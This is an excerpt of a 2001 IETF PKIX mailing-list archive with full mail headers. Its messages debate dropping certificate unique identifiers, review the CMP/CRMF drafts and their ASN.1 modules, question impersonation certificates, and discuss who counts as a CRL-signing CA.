> > >>             the issuerUID field, or
> > >>
> > >>             (ii) working_issuer_UID is null and the issuerUID field is
> > >>             not present.
> > >>
> > >>But working_issuer_UID is no longer set anywhere. We should either put
> > >>back the text that initializes and updates this state variable or we
> > >>should change this step so that it doesn't refer to this uninitialized
> > >>varible. I suggest that we remove support for unique identifier chaining
> > >>by changing this step to say:
> > >>
> > >>          (5) The issuerUniqueID and subjectUniqueID fields are not
> > >>          present in the certificate.
> > >>
> > >>This will ensure that compliant implementations will not accidentally
> > >>accept certificates that use these fields, since support for these
> > >>fields is no longer required. I also suggest that we change the sentence
> > >>in section 4.1.2.8 that reads "Applications conforming to this profile
> > >>SHOULD be capable of parsing unique identifiers and making
> > >>comparisons."  to read "Applications conforming to this profile SHOULD
> > >>reject certificates that contain unique identifiers."
> > >>
> > >>-Steve
> > >


Received: from mail.phaos.com ([206.30.74.234]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA14153 for <[e-mail]>; Fri, 9 Mar 2001 08:37:17 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id PAA51860; Fri, 9 Mar 2001 15:56:28 -0500 (EST) (envelope-from [e-mail])
Message-Id: <5.0.2.1.2.20010309114310.01eb22f0@206.30.74.234>
X-Sender: arik@206.30.74.234
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 09 Mar 2001 11:55:23 -0500
To: <[e-mail]>, <[e-mail]>
From: Ari Kermaier <[e-mail]>
Subject: Re: UIDs popping up in new-part1
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Steve,

My suggestion was that if the certificates contain the info required to
do new-style certificate chain validation, then the UIDs could be
ignored. If UIDs are deprecated, then UID mismatches shouldn't really
matter, as long as the new chaining can be done correctly. Besides, if
UIDs are so rarely used, a possible scenario might be where CA-1 issued
(say, 2 years ago) a cert to CA-2 with UIDs and CA-2 issues (today) a
cert to an EE without UIDs, relying on new chaining algorithms. Why
should that certificate chain be rejected?

Also, it is not a fact, but rather a general impression, that nobody
uses UIDs. It may have been a mistake to include them in previous
profiles, but I think we're stuck with them -- we can't disinherit their
children, we can only leave them out of family photos going forward.

::Ari


>If we allow relying parties to ignore UIDs, won't that break backward
>compatibility in an even more dangerous manner than requiring RPs to
>reject certificates that contain UIDs? Ignoring UIDs would allow RPs
>to accept chains with UID mismatches. Since UID checking was previously
>required, this would be a potentially dangerous contravention of the
>issuing CA's intent.
>
>An RP should either reject certificates containing UIDs or process
>them properly, not simply ignore them. Since nobody uses this feature
>and nobody can argue for why it is needed, I suggest that we require
>RPs to reject certificates containing UIDs.
>
>-Steve
>
> >The recommendation that Section 6.1.3 be amended to remove references to
> >UIDs makes sense; CAs conforming to the current profile should not be
> >required to support this mechanism for certificate chaining, nor should
> >UIDs be allowed to needlessly complicate the revised validation algorithm.
> >
> >However, requiring that UIDs be absent from a certificate would be a
> >serious error, as would recommending that conforming CAs reject
> >certificates containing UIDs. If the certificate in question contains the
> >information required to perform chaining and validation as per the current
> >profile, why should the CA not be free to ignore the presence of extraneous
> >infomation? I think it would be a Very Bad Idea to break backwards
> >compatibility for what is essentially nothing more than an aesthetic
> >reason. A CA conforming to the current X.509 v3 profile should NOT reject a
> >certificate that has a deprecated field from a X.509 v2 profile -- it
> >should just ignore that field. Of course, eveyone "knows" that "nobody"
> >uses UIDs, but that's not a good reason to break, even hypothetically,
> >certificates that do use them unless there's a truly compelling positive or
> >negative functional benefit.
> >
> >Ari Kermaier
> >Phaos Technology
> >
> >>Last fall, we agreed to remove issuer and subject unique identifier
> >>comparison from the validation algorithm. At least, I think we did. The
> >>argument was that nobody uses unique identifiers and there's no good
> >>reason to retain support for them.
> >>
> >>In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
> >>they remain in step (a) (5) of section 6.1.3, which says:
> >>
> >>          (5) The certificate issuer unique identifier is the
> >>          working_issuer_UID, meaning:
> >>
> >>             (i) working_issuer_UID is non-null and matches the value in
> >>             the issuerUID field, or
> >>
> >>             (ii) working_issuer_UID is null and the issuerUID field is
> >>             not present.
> >>
> >>But working_issuer_UID is no longer set anywhere. We should either put
> >>back the text that initializes and updates this state variable or we
> >>should change this step so that it doesn't refer to this uninitialized
> >>varible. I suggest that we remove support for unique identifier chaining
> >>by changing this step to say:
> >>
> >>          (5) The issuerUniqueID and subjectUniqueID fields are not
> >>          present in the certificate.
> >>
> >>This will ensure that compliant implementations will not accidentally
> >>accept certificates that use these fields, since support for these
> >>fields is no longer required. I also suggest that we change the sentence
> >>in section 4.1.2.8 that reads "Applications conforming to this profile
> >>SHOULD be capable of parsing unique identifiers and making
> >>comparisons."  to read "Applications conforming to this profile SHOULD
> >>reject certificates that contain unique identifiers."
> >>
> >>-Steve
> >



Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA03332 for <[e-mail]>; Fri, 9 Mar 2001 06:04:13 -0800 (PST)
Received: from asn-1.com (user-2ivf6ff.dialup.mindspring.com [165.247.153.239]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id JAA00616; Fri, 9 Mar 2001 09:04:06 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 09 Mar 2001 08:48:49 -0500
From: "Phillip H. Griffin" <[e-mail]>
Reply-To: [e-mail]
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
CC: Carlisle Adams <[e-mail]>, [e-mail], "'[e-mail]'" <[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis-01.txt)
References: <Pine.WNT.4.31.0103081808320.1272-100000@mnystrom-lap>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Magnus and Carlisle,
A few comments below.

Magnus Nystrom wrote:
> 
> Carlisle,
> 
> Thanks for taking our views into account. A few comments on the new
> versions of rfc2510bis and rfc2511bis:
> 
> -The waiting status issue:
>  We feel that it is a bit disturbing that no polling req/rep
>  PKIMessages are defined. The result is that the protocol does not
>  define what to do in those instances when a "waiting" status is
>  returned. It would be much more satisfying to define this within CMP
>  than rely on some underlying transport to do the polling (with what
>  PKIMessage? - and it would have to be defined for all conceivable CMP
>  transports, too...)
> 
> -While the use of an empty SubjectPublicKey to indicate the type of
>  key an end-user would like to have centrally generated seems
>  possible, it will not give the user a possibility to indicate
>  e.g. desired public exponent or modulus length. A method which is
>  more flexible would perhaps be preferable?

In rfc2510bis, for other key formats, allowing a user 
to choose domain parameters known to be viable or key
lengths of sufficient strength would also be a plus.

----

Note that in rfc2510bis under "B2. Algorithm Use 
Profile", useful references for HMAC and ECDSA 
could help readers. These are columns could 
include X9.71 and X9.62.

> -The CMPCertificate type: Looking in rfc2511-bis-01, it does not
>  appears as if there is a corresponding framework suggested to allow a
>  requester to indicate that it would like, e.g. a WTLS Certificate to
>  be returned. Is this intended? One could imagine, e.g., a
>  CertTemplateChoice.

I notice that a couple of places in rfc2510bis state
"See Appendix D and [rfc2511bis] for CertReqMessages
syntax", and that Appendix D does provide direction
for "specifying a template for a certificate other 
than an X.509v3 public-key certificate". 

The use of type AttributeTypeAndValue here seems 
quite flexible enough to handle any type of  
certificate format. This is a far less restrictive
design than using a choice type. It opens up market
possibilities rather than closing them.

> -ASN.1 modules:
> 
>  I also took a few minutes to check the ASN.1 with my syntax checker.
> 
>  RFC 2511bis: There is one simple problem and one slightly harder one.
> 
>  a) You need to remove the "CRMF" before "DEFINITIONS" - the module has
>     already been named above to "PKIXCRMF".
> 
>  b) PKIXCRMF imports definitions from both RFC 2459 (bis) and CMS. CMS
>     in turn, imports definitions from ITU/ISO specifications rather
>     than PKIX RFCs. Now this would be ok, unless it was for the fact
>     that RFC 2459bis and RC2511bis use 1988 syntax, as does CMS, but
>     CMS imports from modules written in 1993 syntax. This creates a
>     mess for those using commercial compilers, since UTF8Strings (used
>     in ISO documents but defined explicitly in PKIX documents) aren't

Actually the situation is even worse than
described here. The use in IETF modules of
class UNIVERSAL tags is not valid ASN.1 under
any version of the ASN.1 standards.

It is an IETF concoction made up I believe
to allow old X.208 and X.209 based tools to
make use of new ASN.1 types never defined 
in those standards, but defined for years 
and years now in the current ASN.1 standards.

This kludge allowed old tools to provide 
much needed national language support without
being updated or corrected, and allowed folks
with copies of X.208 and X.209 (which have not
been corrected or amended for years) to avoid 
buying the current ASN.1 standards. 

At one time, the current ASN.1 standards were
not available except for a charge, and there 
were various copies of different versions of 
X.208 and X.209 floating around for free.

But the X.680 and X.690 series standards are
currently free for download from the itu.ch 
web site. Up until a couple of weeks ago at 
least, when I last checked, all you had to do
was to enter an email address to get three
free documents. New email address, three more
standards.

>     supported in 1988 but are in 1993, so one cannot compile these
>     modules with either a "1988" switch or a "1993" switch. My advice
>     would of course be to move to 1993/1997 ASN.1 altogether, but if

Agreed. This is the best possible solution.
Not only does it eliminate the concoction
noted above, it allows the use of other new 
types and encoding rules by adopters of IETF
standards.

>     this is not possible due to PKIX policies, I'd suggest a change to
>     make CMS dependent on PKIX modules rather than external modules
>     (yes, I realize that CMS is owned by S/MIME and not by PKIX).

Not sure that this will really do more than 
cover the problem with a little sand. What 
will a compliant tool kit do if it discovers 
a value of type RELATIVE-OID in an ANY or 
embedded in an OCTET STRING? Crash and burn
is my guess. But this new type is already
being used to advantage in the new ANSI X9.84
biometrics standard and in the design of the
new compressed (see asn-1.com/x968.htm) domain
certificate syntax in ANSI X9.68:2.

>  RFC2510bis:
> 
>  c) You state that there is no PKCS #10 ASN.1 module defined; this is
>     not correct. RFC 2986 does contain a (1993) module.
> 
>  d) I would prefer if X9.68 certificates were not mentioned in this
>     document.

I would prefer that these X.509 based domain certificates
were still mentioned, but that the text be changed from
"X9.68" to "X9.68:2". Only the profile part of this series
that Magnus worked on has been dropped by the X9F1 working 
group. The other part of this series, part one, was being 
edited by Rich Ankney. I've taken this edit work on and will 
attempt to progress the work in the coming year.

>  e) Since you already import from rfc2459 modules, why not also import
>     the UTF8String definition from there?

It is no more valid really to import an invalid 
type definition than to simply define the type 
using invalid notation. It only hides the problem
for the casual reader.

>  Other than that I found the very same errors as James Manger did.
> 
> -- Magnus
> 
> On Fri, 2 Mar 2001, Carlisle Adams wrote:
> 
> > Hi,
> >
> > For those of you that are curious, 2510bis-03 and 2511bis-01 are minor
> > revisions to the previous drafts which, I believe, address all comments
> > received (both privately and on the list) in the past 3 months.  I feel that
> > both documents are now ready to progress.
> >
> > The documents can be found at the following locations:
> >
> >    http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt
> >    http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt
> >
> >
> > The changes between rfc2510bis-02 and rfc2510bis-03 are as follows:
> >
> >               p.30:  added a comment on the "waiting" status regarding the
> > possible need for a polling mechanism in the transport layer and allowing
> > the possibility of polling PKIMessages in a future version of this spec.
> > (You might recall Magnus asking for this on the PKIX list....).
> >
> >               p.33:  removed tag "[1]" from publicKeyMAC field (to align
> > with syntax in RFC 2511).
> >
> >               p.39:  changed "OCTET STRING" to "string" in comment
> > regarding utf8Pairs ("OCTET STRING" was confusing to some people).
> >
> >               p.63:  added a comment regarding the way in which a
> > requester could indicate a preference for algorithm and parameters with
> > respect to centrally-generated key pairs (Magnus also asked how this could
> > be done and I should have given him this answer, but didn't think of it at
> > the time...).
> >
> >               p.67:  removed the position-dependence requirement for
> > requests in cr and kur (at least a couple of people have asked for this on
> > the list, including Magnus).
> >
> >               p.75:  clarified what gets signed if the AltCertTemplate
> > control is used (someone asked for this on the list).
> >
> >               p.80:  (see p.30 above).
> >
> >               p.85:  (see p.39 above).
> >
> >               p.86:  added the certReqId field to CertStatus (I had done
> > this in the body of the spec, but forgot to copy it to this appendix!).
> >
> > The changes between rfc2511bis-00 and rfc2511bis-01 are as follows:
> >
> >               pp.1 and 13:  changed the work affiliation for Mike Myers.
> >
> >               p.10:  added a missing parenthesis in the second line of the
> > comment under encValue.
> >
> >               p.12:  added a reference to PKCS11.
> >
> >               p.16:  changed "OCTET STRING" to "string" in comment
> > regarding utf8Pairs ("OCTET STRING" was confusing to some people).


Phil
----
Phillip H. Griffin    Griffin Consulting
http://asn-1.com      Secure ASN.1 Design & Implementation
p:  [phone]   1625 Glenwood Avenue
f:  [phone]   Hayes Barton at Five Points
e:  [e-mail]    Raleigh, North Carolina 27608-2319 USA
------------------------------------------------------------



Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA29009 for <[e-mail]>; Fri, 9 Mar 2001 04:37:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11799; Fri, 9 Mar 2001 07:37:08 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-new-part1-05.txt
Date: Fri, 09 Mar 2001 07:37:08 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          and CRL Profile
	Author(s)	: R. Housley, W. Ford, W. Polk, D. Solo
	Filename	: draft-ietf-pkix-new-part1-05.txt
	Pages		: 119
	Date		: 08-Mar-01
	
This is the fourth draft of a specification based upon RFC 2459.
When complete, this specification will obsolete RFC 2459.  This
specification includes minor edits and clarifications.  The most
notable departures from RFC 2459 are found in Section 6, Path
Validation.  In RFC 2459, the reader was expected to augment the path
validation algorithm, which concentrated upon policy processing, with
information embedded in earlier sections.  For example, parameter
inheritance is discussed in Section 7, Algorithm Support, and can
certainly affect the validity of a certification path.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-05.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-new-part1-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-new-part1-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-new-part1-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-new-part1-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA13820 for <[e-mail]>; Thu, 8 Mar 2001 18:05:27 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XVCCJ; Thu, 8 Mar 2001 18:02:55 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: Impersonation Certificates - finding IC's
Date: Thu, 8 Mar 2001 19:04:40 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <[e-mail]>

In section 2.6 of draft-ietf-pkix-impersonation-00.txt the
following words appear:

   "To discourage mistakes in this area, this Impersonation Certificate 
   profile defines that the IC subject (actually its subjectAltName) is 
   just a pseudo-randomly generated string."

[Carlin's comments/questions]:
If the IC subject name is a pseudo-randomly generated string, how is the 
IC found in an X.500 or LDAP Directory?  Must it always be passed by the 
application to the RP rather than being found in a directory?  

- Carlin Covey
  Cylink Corporation




Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA07781 for <[e-mail]>; Thu, 8 Mar 2001 15:55:04 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XVBYQ; Thu, 8 Mar 2001 15:52:32 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: Impersonation Certificates - proofing IC requesters
Date: Thu, 8 Mar 2001 16:54:22 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <p05010402b6cc5218565b@[128.33.4.39]>

Gentlepersons,

draft-ietf-pkix-impersonation-00.txt describes a mechanism for 
delegating authority from entity A (who is not a CA) to entity B 
by issuing an "Impersonation Certificate" (IC) to entity B that 
is signed using entity A's PKC.  

Below step 5 of section 2.4. the following text appears:

   "The process of creating an IC is as follows: 
    
   1. A new public and private key pair is generated. 
       
   2. An unsigned IC request is created, conforming to the profile 
      described in this document. 
       
   3. The IC request is signed by the private key of the EEC, or by 
      another IC.  During this process, the unsigned IC is verified to 
      ensure that it is valid (e.g. it is not an EEC, the IC fields are 
      appropriately set, etc). 
    
   When an IC is created as part of a delegation from entity A to 
   entity B, this process is modified by performing steps #1 and #2 
   within entity B, then passing the IC request from entity B to entity 
   A over an integrity checked channel, then entity A performs step #3. "

[Carlin's comments/questions]:
I'm trying to understand some of the security aspects.
I don't see any discussion of proofing the IC requester.  How 
does the EE authenticate the identity of the IC requester?  
A CA or RA normally has some sort of proofing facilities 
available that are used to authenticate the identity of a 
human being (e.g. a database of employee information, some 
expertise in recognizing legitimate paper identity documents, 
etc.)  An EE is probably not well-equipped to do this sort 
of human identity proofing.  Moreover, in the example in 
section 2.3 the IC requester appears to be some automated 
process.  How does the EE authenticate the identity of this 
process?  Even if the EE can authenticate the source of the 
IC request, how are man-in-the-middle attacks prevented 
during the IC request process?  

- Carlin Covey
  Cylink Corporation



Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id KAA20327 for <[e-mail]>; Thu, 8 Mar 2001 10:50:24 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Thu, 08 Mar 2001 11:49:52 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Thu, 08 Mar 2001 11:49:47 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>, <[e-mail]>
Subject: RE: X.509, PKIX, and pathLenConstraint
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id KAA20331

Hal,

I think it is mostly an issue of timing.  I can imagine all sorts of wills/cans/should scenarios, including setting up the state medical association as an authoritative CA, or getting VeriSign, etc. to include such certifications in their certificates and keep on top of the issue, and/or using attributes certificates, XML, or whatever.  But it takes a surprisingly  long time to roll out all of these fancy options, even once a critical mass of vendors start offering them.  

The approach I suggested might be useful in the interim, I feel.

Bob



>>> Hal Lockhart <[e-mail]> 03/07/01 09:32AM >>>
I thought that this was the type of situation that Attribute Certificates
were designed to handle. Aren't you confusing Authentication with
Authorization?

Hal
=======================================================
Harold W. Lockhart            Entegrity Solutions
2 Mount Royal Avenue          Marlborough, MA 01752 USA
V: 1-508-624-9600 x 260       [e-mail] 
F: 1-508-229-0338             www.entegrity.com 
=======================================================



> -----Original Message-----
> From: Bob Jueneman [mailto:[e-mail]] 
> Sent: Wednesday, March 07, 2001 10:58 AM
> To: [e-mail] 
> Cc: [e-mail]; [e-mail] 
> Subject: Re: X.509, PKIX, and pathLenConstraint
> 
> 
> Steve, this may be "merely" a question of semantics, but let
> me outline a user-driven scenario that may be of interest here.
> 
> Suppose that I am a hospital administrator operating a network
> that allows doctors, nurses, etc., to access various resources
> using their X.509 certificates.  And let's assume for now that
> these certificates are issued by one of the public CAs, e.g.,
> VeriSign, and not by say the state medical association.
> 
> As the hospital administrator, I am probably a lot more concerned
> with whether the doctor in question currently has hospital privileges
> than I am in whether that doctor's signature is legally binding,
> and I am certainly in a much better position to be authoritative 
> about that issue than VeriSign is -- the fact that a doctor had 
> his medical license revoked would not be cause for VeriSign to 
> revoke his certificate.
> 
> I could, of course, set up a local database, and merely look up that 
> user's status, but although that works for access control, it doesn't 
> work nearly as well for say S/MIME.
> 
> So what I might like to do is to intercept all outgoing requests for 
> CRLs or OCSP, and send to my own local CRL or OCSP responder.
> I would manage that by periodically checking the real CRL list,
> but in addition I can revoke a certificate locally as I see fit.
> All that I have to do is to ensure that my certificate is included in
> the relying party software as a trusted root, or at least is 
> chained to
> a trusted root.
> 
> BTW, since the relationship is completely independent of the
> CA that issued the certificates, there is nothing in the certificate
> that would point to my CRL responder, not even a CRLDistributionPoint.
> 
> Now, am I a CA, or not? After all, I will never be issuing 
> certificates, 
> only CRLs.
> 
> My inclination would be to say that yes, I am, but what say you?
> Does it really matter one way or the other?
> 
> Bob
> 
> Robert R. Jueneman
> Security Architect
> 
> Novell, Inc -- the leading provider of Net services software
> 
> 
> 
> >>> Stephen Kent <[e-mail]> 03/06/01 04:16PM >>>
> David,
> 
> To me, the text you cite (7.3) lends further credence to the notion 
> that a CA is the entity that signs CRLs. Only the CA that issued a 
> cert could sign a CRL revoking that cert, until v3 of X.509, where 
> the introduction of indirect CRLs and CRL DPs opened up new 
> possibilities. The fundamental question is whether these features 
> create a new class of entity that can sign CRLs but not be marked (in 
> its certificate) as a CA, or whether these facilities merely allow 
> one CA to delegate CRL signing to another CA, perhaps operated under 
> the same administrative jurisdiction.
> 
> Steve
> 
> 


Received: from karon.dynas.se (karon.dynas.se [192.71.43.4]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA16793 for <[e-mail]>; Thu, 8 Mar 2001 09:10:12 -0800 (PST)
Received: (qmail 23870 invoked from network); 8 Mar 2001 17:10:13 -0000
Received: from spirit.sto.dynas.se (HELO spirit.dynas.se) (172.16.1.10) by 172.16.1.1 with SMTP; 8 Mar 2001 17:10:13 -0000
Received: (qmail 9843 invoked from network); 8 Mar 2001 17:10:11 -0000
Received: from mnystrom-lap.d.dynas.se (HELO mnystrom-lap) (172.16.13.246) by spirit.dynas.se with SMTP; 8 Mar 2001 17:10:11 -0000
Date: Thu, 8 Mar 2001 18:10:51 +0100 (W. Europe Standard Time)
From: Magnus Nystrom <[e-mail]>
Reply-To: <[e-mail]>
To: Carlisle Adams <[e-mail]>
cc: <[e-mail]>, "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
In-Reply-To: <[e-mail]>
Message-ID: <Pine.WNT.4.31.0103081808320.1272-100000@mnystrom-lap>
X-X-Sender: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Carlisle,

Thanks for taking our views into account. A few comments on the new
versions of rfc2510bis and rfc2511bis:

-The waiting status issue:
 We feel that it is a bit disturbing that no polling req/rep
 PKIMessages are defined. The result is that the protocol does not
 define what to do in those instances when a "waiting" status is
 returned. It would be much more satisfying to define this within CMP
 than rely on some underlying transport to do the polling (with what
 PKIMessage? - and it would have to be defined for all conceivable CMP
 transports, too...)

-While the use of an empty SubjectPublicKey to indicate the type of
 key an end-user would like to have centrally generated seems
 possible, it will not give the user a possibility to indicate
 e.g. desired public exponent or modulus length. A method which is
 more flexible would perhaps be preferable?

-The CMPCertificate type: Looking in rfc2511-bis-01, it does not
 appears as if there is a corresponding framework suggested to allow a
 requester to indicate that it would like, e.g. a WTLS Certificate to
 be returned. Is this intended? One could imagine, e.g., a
 CertTemplateChoice.

-ASN.1 modules:

 I also took a few minutes to check the ASN.1 with my syntax checker.

 RFC 2511bis: There is one simple problem and one slightly harder one.

 a) You need to remove the "CRMF" before "DEFINITIONS" - the module has
    already been named above to "PKIXCRMF".

 b) PKIXCRMF imports definitions from both RFC 2459 (bis) and CMS. CMS
    in turn, imports definitions from ITU/ISO specifications rather
    than PKIX RFCs. Now this would be ok, unless it was for the fact
    that RFC 2459bis and RC2511bis use 1988 syntax, as does CMS, but
    CMS imports from modules written in 1993 syntax. This creates a
    mess for those using commercial compilers, since UTF8Strings (used
    in ISO documents but defined explicitly in PKIX documents) aren't
    supported in 1988 but are in 1993, so one cannot compile these
    modules with either a "1988" switch or a "1993" switch. My advice
    would of course be to move to 1993/1997 ASN.1 altogether, but if
    this is not possible due to PKIX policies, I'd suggest a change to
    make CMS dependent on PKIX modules rather than external modules
    (yes, I realize that CMS is owned by S/MIME and not by PKIX).

 RFC2510bis:

 c) You state that there is no PKCS #10 ASN.1 module defined; this is
    not correct. RFC 2986 does contain a (1993) module.

 d) I would prefer if X9.68 certificates were not mentioned in this
    document.

 e) Since you already import from rfc2459 modules, why not also import
    the UTF8String definition from there?

 Other than that I found the very same errors as James Manger did.

-- Magnus

On Fri, 2 Mar 2001, Carlisle Adams wrote:

> Hi,
>
> For those of you that are curious, 2510bis-03 and 2511bis-01 are minor
> revisions to the previous drafts which, I believe, address all comments
> received (both privately and on the list) in the past 3 months.  I feel that
> both documents are now ready to progress.
>
> The documents can be found at the following locations:
>
>    http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt
>    http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt
>
>
> The changes between rfc2510bis-02 and rfc2510bis-03 are as follows:
>
> 		p.30:  added a comment on the "waiting" status regarding the
> possible need for a polling mechanism in the transport layer and allowing
> the possibility of polling PKIMessages in a future version of this spec.
> (You might recall Magnus asking for this on the PKIX list....).
>
> 		p.33:  removed tag "[1]" from publicKeyMAC field (to align
> with syntax in RFC 2511).
>
> 		p.39:  changed "OCTET STRING" to "string" in comment
> regarding utf8Pairs ("OCTET STRING" was confusing to some people).
>
> 		p.63:  added a comment regarding the way in which a
> requester could indicate a preference for algorithm and parameters with
> respect to centrally-generated key pairs (Magnus also asked how this could
> be done and I should have given him this answer, but didn't think of it at
> the time...).
>
> 		p.67:  removed the position-dependence requirement for
> requests in cr and kur (at least a couple of people have asked for this on
> the list, including Magnus).
>
> 		p.75:  clarified what gets signed if the AltCertTemplate
> control is used (someone asked for this on the list).
>
> 		p.80:  (see p.30 above).
>
> 		p.85:  (see p.39 above).
>
> 		p.86:  added the certReqId field to CertStatus (I had done
> this in the body of the spec, but forgot to copy it to this appendix!).
>
> The changes between rfc2511bis-00 and rfc2511bis-01 are as follows:
>
> 		pp.1 and 13:  changed the work affiliation for Mike Myers.
>
> 		p.10:  added a missing parenthesis in the second line of the
> comment under encValue.
>
> 		p.12:  added a reference to PKCS11.
>
> 		p.16:  changed "OCTET STRING" to "string" in comment
> regarding utf8Pairs ("OCTET STRING" was confusing to some people).



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA13721 for <[e-mail]>; Thu, 8 Mar 2001 08:32:11 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA29504; Fri, 9 Mar 2001 05:32:05 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98406912505579>; Fri, 9 Mar 2001 05:32:05 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 9 Mar 2001 05:32:05 (NZDT)
Message-ID: <[e-mail]>

"David P. Kemp" <[e-mail]> writes:

>Consider the following certificates:
>
>#  cA   CertSign  cRLSign    Effect
>- ----- --------  -------   ------------
>0  F     0         0        End Entity
>1  F     0         1        End Entity (can sign CRLs)
>2  F     1         0        End Entity
>3  F     1         1        End Entity (can sign CRLs)
